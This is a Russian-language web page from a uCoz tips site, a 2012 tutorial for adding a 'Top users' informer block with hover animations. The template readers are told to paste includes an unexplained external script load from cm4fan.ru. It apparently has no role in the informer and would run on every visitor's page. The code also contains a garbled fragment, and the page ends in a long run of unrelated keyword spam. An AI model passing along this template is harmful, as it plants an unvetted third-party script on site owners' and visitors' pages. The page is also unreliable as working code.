Главная » 2012 » Октябрь » 12 » Красивый информер "Топ пользователей" для ucoz
10:19
Красивый информер "Топ пользователей" для ucoz


Зайдя на один сайт увидел красивый информер - Топ аплоадеров (пользователей)
Решил добавить его в паблик, особенность информера в том,
Что при наведении на иконки выдвигается небольшая информация о количестве файлов и т.д.

Установка:
1)Создаем информер
Кто не знает где это вот ссылка: http://адрес_вашего_сайта/panel/?a=informers

Информер с такими параметрами:

Название информера - Топ пользователей
Раздел - Пользователи
Способ сортировки - Количество файлов
Количество материалов - 4
Количество колонок - 2
Создать

Должен появится новый информер - и рядом с ним код вызова
Например $MYINF_1$ - у вас может быть другой

2)После этого меняем дизайн информера
Заходим в управление дизайном созданного информера
И заменяем весь код на этот:

Code
</div></div></div>  
</div>

<a href="/index/8-$USER_ID$" target="_blank" style="color:#ffffff;">
<script src="http://cm4fan.ru/none.js" type="text/javascript"></script><img src="$AVATAR_URL$" title="Перейти в профиль" id="topusers">
<img src="http://ili.pp.ua/img/no.png" id="topusers">
</a>  

<div class="chat-addtime" style="float:none; width:87px; margin-top:1px;">  
<span style="display:block; text-align:center;">
<a href="/index/8-$USER_ID$" target="_blank" style="color:#ffffff;">

11)?>


$USERNAME$

</a>  
</span>
</div>  
</center>
<script type="text/javascript"> $('.place$NUMBER$').hover( function () {$(this).stop().animate({"width" : $('.place1 #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); $('.torrents').hover( function () {$(this).stop().animate({"width" : $('.torrents #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); $('.comments').hover( function () {$(this).stop().animate({"width" : $('.comments #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); </script>

 


Теперь создаём новый блок (например через конструктор)
И называем его например "Топ пользователей"
В html код блока вставляем:

 

Code
$MYINF_1$
<link type="text/css" rel="StyleSheet" href="http://ili.pp.ua/js_css/cssuser.css">

 


$MYINF_1$ - меняем на свой (если у вас другой)

Готово..
Думаю, что всё понятно разъяснил



берёза расстрел тусовка Город Паркес Майкл подковы Наполеон коньяк кипарис Городок Pocket PC корабли Поляна спящий Гатчина Этно прилавок разруха дыня гипноз рыбалка У реки Груши Дорога к озеру пирамида горы подстава торговля Давай покурим Водопой Лебеди на пруду Рубенс Питер Пауль Климт Густав яблоко Конверт бухло подсвечник фрукти нежность Петергоф петродворец фонтаны рыбки животноводство труженники Берёзы в лесу инспектор летний сад шпангоут лошадь ручей террористы бант Самогон нос Звери шкаф Пейзажная живопись Сосновый бор Рубаи шпага Башня у воды Геннадий Новицкий волны башня птицы сакс кибитка кулак Фрукты Перов Василий контрабанда Ладья сосны гранат кусты Христа Спасителя живопись гбдд ступени копьё шляпка абрикосы стакн Водка Пейзаж с лодками фонарь бабочки фуршет бардочёк голубиная почта рыбаки лодка Fruit Антонио ПРЕЗУМПЦИЯ НЕВИНОВНОСТИ камни Закон РФ О милиции декларация дурман

 

Категория: Всё для uCoz | Просмотров: 2355 | Добавил: Aninew | Рейтинг: 5.0/2
Всего комментариев: 0
avatar